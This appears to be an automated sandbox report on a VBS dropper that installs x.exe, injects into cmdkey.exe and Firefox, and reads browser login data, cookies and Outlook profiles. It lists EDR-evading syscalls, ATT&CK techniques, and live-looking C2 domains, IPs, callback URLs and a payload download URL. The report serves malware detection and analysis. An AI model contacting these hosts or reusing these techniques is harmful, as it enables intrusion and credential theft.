Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345082E0 mov eax, dword ptr fs:[00000030h]	3_2_345082E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345082E0 mov eax, dword ptr fs:[00000030h]	3_2_345082E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345082E0 mov eax, dword ptr fs:[00000030h]	3_2_345082E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34507290 mov eax, dword ptr fs:[00000030h]	3_2_34507290
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34507290 mov eax, dword ptr fs:[00000030h]	3_2_34507290
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34507290 mov eax, dword ptr fs:[00000030h]	3_2_34507290
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E289 mov eax, dword ptr fs:[00000030h]	3_2_3457E289
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F92AF mov eax, dword ptr fs:[00000030h]	3_2_344F92AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB2BC mov eax, dword ptr fs:[00000030h]	3_2_345DB2BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB2BC mov eax, dword ptr fs:[00000030h]	3_2_345DB2BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB2BC mov eax, dword ptr fs:[00000030h]	3_2_345DB2BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345DB2BC mov eax, dword ptr fs:[00000030h]	3_2_345DB2BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF2AE mov eax, dword ptr fs:[00000030h]	3_2_345BF2AE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345C92AB mov eax, dword ptr fs:[00000030h]	3_2_345C92AB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345242AF mov eax, dword ptr fs:[00000030h]	3_2_345242AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345242AF mov eax, dword ptr fs:[00000030h]	3_2_345242AF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FC2B0 mov ecx, dword ptr fs:[00000030h]	3_2_344FC2B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F8347 mov eax, dword ptr fs:[00000030h]	3_2_344F8347
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F8347 mov eax, dword ptr fs:[00000030h]	3_2_344F8347
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F8347 mov eax, dword ptr fs:[00000030h]	3_2_344F8347
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E372 mov eax, dword ptr fs:[00000030h]	3_2_3457E372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E372 mov eax, dword ptr fs:[00000030h]	3_2_3457E372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E372 mov eax, dword ptr fs:[00000030h]	3_2_3457E372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3457E372 mov eax, dword ptr fs:[00000030h]	3_2_3457E372
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452237A mov eax, dword ptr fs:[00000030h]	3_2_3452237A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34580371 mov eax, dword ptr fs:[00000030h]	3_2_34580371
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34580371 mov eax, dword ptr fs:[00000030h]	3_2_34580371
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450B360 mov eax, dword ptr fs:[00000030h]	3_2_3450B360

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

File created: x.exe.0.dr

Jump to dropped file

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtAllocateVirtualMemory: Direct from: 0x77403BBC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQueryInformationToken: Direct from: 0x77402BCC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtOpenFile: Direct from: 0x77402CEC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtCreateFile: Direct from: 0x77402F0C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtAllocateVirtualMemory: Direct from: 0x77402B1C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtResumeThread: Direct from: 0x774035CC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtMapViewOfSection: Direct from: 0x77402C3C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtWriteVirtualMemory: Direct from: 0x77402D5C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtNotifyChangeKey: Direct from: 0x77403B4C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtSetInformationProcess: Direct from: 0x77402B7C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtProtectVirtualMemory: Direct from: 0x773F7A4E	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtReadVirtualMemory: Direct from: 0x77402DAC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtCreateUserProcess: Direct from: 0x7740363C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQueryInformationProcess: Direct from: 0x77402B46	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtResumeThread: Direct from: 0x77402EDC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtWriteVirtualMemory: Direct from: 0x7740482C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtAllocateVirtualMemory: Direct from: 0x7740480C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtOpenKeyEx: Direct from: 0x77402ABC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtDelayExecution: Direct from: 0x77402CFC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtSetInformationThread: Direct from: 0x773F6319	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQuerySystemInformation: Direct from: 0x774047EC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtReadFile: Direct from: 0x774029FC	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQuerySystemInformation: Direct from: 0x77402D1C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtAllocateVirtualMemory: Direct from: 0x77402B0C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtOpenSection: Direct from: 0x77402D2C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQueryVolumeInformationFile: Direct from: 0x77402E4C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtDeviceIoControlFile: Direct from: 0x77402A0C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtQueryAttributesFile: Direct from: 0x77402D8C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtSetInformationThread: Direct from: 0x77402A6C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtCreateKey: Direct from: 0x77402B8C	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtClose: Direct from: 0x77402A8C
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	NtProtectVirtualMemory: Direct from: 0x77402EBC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: NULL target: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\x.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmdkey.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\cmdkey.exe

Thread register set: target process: 6656

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\cmdkey.exe

Thread APC queued: target process: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe

2_2_004034CE

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: C:\Users\user\AppData\Local\Temp\x.exe

Directory queried: number of queries: 1001

Remote Access Functionality

Source: Yara match	File source: 00000005.00000002.140485141531.00000000031F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.140483811557.00000000014B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140482656730.0000000000A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.140484881545.00000000034F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.140485253633.0000000003240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	12 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	4 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	1 DLL Side-Loading	NTDS	2 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	12%	Virustotal		Browse
#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	HEUR/AGEN.1305039
C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.ayypromo.shop	0%	Virustotal	Browse
www.cannulafactory.top	1%	Virustotal	Browse
www.meetfactory.biz	3%	Virustotal	Browse
www.home-check.shop	0%	Virustotal	Browse
www.magicface.shop	0%	Virustotal	Browse
7ddw.top	0%	Virustotal	Browse
natroredirect.natrocdn.com	0%	Virustotal	Browse
www.518729.xyz	2%	Virustotal	Browse
multfiber.net	0%	Virustotal	Browse
www.foundation-repair.biz	0%	Virustotal	Browse
www.7ddw.top	0%	Virustotal	Browse
www.groupriam.com	1%	Virustotal	Browse
www.multfiber.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.asa-malukuutara.com/21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.cannulafactory.top/y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M=	0%	Avira URL Cloud	safe
http://www.foundation-repair.biz/enra/	0%	Avira URL Cloud	safe
http://www.foundation-repair.biz/enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=	0%	Avira URL Cloud	safe
http://www.home-check.shop/ns8q/?ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=&tvodg=2Zld-RLxEfN	0%	Avira URL Cloud	safe
http://www.ayypromo.shop/mktg/?ij60MtY=0TalvP/u8kBxCEcVC8ZYLDfWzg1d8ZMLdJUcZNeUjcCfUnJGBGp8dbleblgtUVXijVAfatBw5nkrSCpMHneIWtcqoMWdglrJlT3qBoY6Uu70toyjn3om774=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.meetfactory.biz/o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.cachsoicautdtc.best/fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.518729.xyz/s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.7ddw.top/pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.emeluzunmoda.online/c0kl/	0%	Avira URL Cloud	safe
http://www.518729.xyz/s1mg/	0%	Avira URL Cloud	safe
http://www.home-check.shop/ns8q/?wXB=brv4Erb&ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=	0%	Avira URL Cloud	safe
http://www.bullbord.top/veti/	0%	Avira URL Cloud	safe
http://www.asa-malukuutara.com/21hf/	0%	Avira URL Cloud	safe
http://www.home-check.shop/ns8q/	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe
http://www.meetfactory.biz/o0e7/	0%	Avira URL Cloud	safe
http://www.itemfilterhub.shop/p1v4/	0%	Avira URL Cloud	safe
http://www.bullbord.top/veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.7ddw.top/pcjw/	0%	Avira URL Cloud	safe
https://www.groupriam.com/EiopsiA213.bin	0%	Avira URL Cloud	safe
http://www.cachsoicautdtc.best/fp5q/	0%	Avira URL Cloud	safe
http://www.magicface.shop/gir9/?ij60MtY=f5fgxEQYyH9aCEvnqRNhj/uGI07axwFwhdkCg+bZ+BEtnM1/7SlBYCrjg9utQFPLrd0Y68zwkqIMf6pHdwjKMQmtDey6vcSJt3zCtqxSD+6F6gKu0jTr2I8=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.magicface.shop/gir9/	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Virustotal		Browse
http://www.emeluzunmoda.online/c0kl/?wXB=brv4Erb&ij60MtY=AxZR1MxN1yP04/KkfJjqNmRSK4d8g2rgChYpgYbN8LwS/ds0321h0MeEKpKCay63h/JFzZR/nOfV69IulQUTnqrvqwrwGbRyvD357dhiEinhnUxdss5AyLg=	0%	Avira URL Cloud	safe
http://www.foundation-repair.biz/enra/?ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=&wXB=brv4Erb	0%	Avira URL Cloud	safe
http://www.ayypromo.shop/mktg/	0%	Avira URL Cloud	safe
http://www.cannulafactory.top/y82c/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.itemfilterhub.shop	172.67.166.145	true	true		unknown
www.ayypromo.shop	176.57.64.102	true	true	0%, Virustotal, Browse	unknown
www.hypepgbet.online	82.112.244.92	true	false		unknown
www.cannulafactory.top	18.183.3.45	true	true	1%, Virustotal, Browse	unknown
www.bullbord.top	203.161.46.205	true	true		unknown
www.meetfactory.biz	96.126.123.244	true	true	3%, Virustotal, Browse	unknown
www.home-check.shop	185.230.15.3	true	true	0%, Virustotal, Browse	unknown
www.magicface.shop	76.223.54.146	true	true	0%, Virustotal, Browse	unknown
natroredirect.natrocdn.com	85.159.66.93	true	true	0%, Virustotal, Browse	unknown
7ddw.top	154.23.184.207	true	true	0%, Virustotal, Browse	unknown
asa-malukuutara.com	103.247.8.53	true	true		unknown
www.cachsoicautdtc.best	172.67.191.241	true	true		unknown
groupriam.com	199.103.62.205	true	false		unknown
www.518729.xyz	23.231.158.3	true	true	2%, Virustotal, Browse	unknown
www.foundation-repair.biz	199.59.243.226	true	true	0%, Virustotal, Browse	unknown
multfiber.net	84.32.84.32	true	true	0%, Virustotal, Browse	unknown
www.multfiber.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.sedezne-blazine.shop	unknown	unknown	true		unknown
www.7ddw.top	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.emeluzunmoda.online	unknown	unknown	true		unknown
www.groupriam.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.asa-malukuutara.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.foundation-repair.biz/enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=	true	Avira URL Cloud: safe	unknown
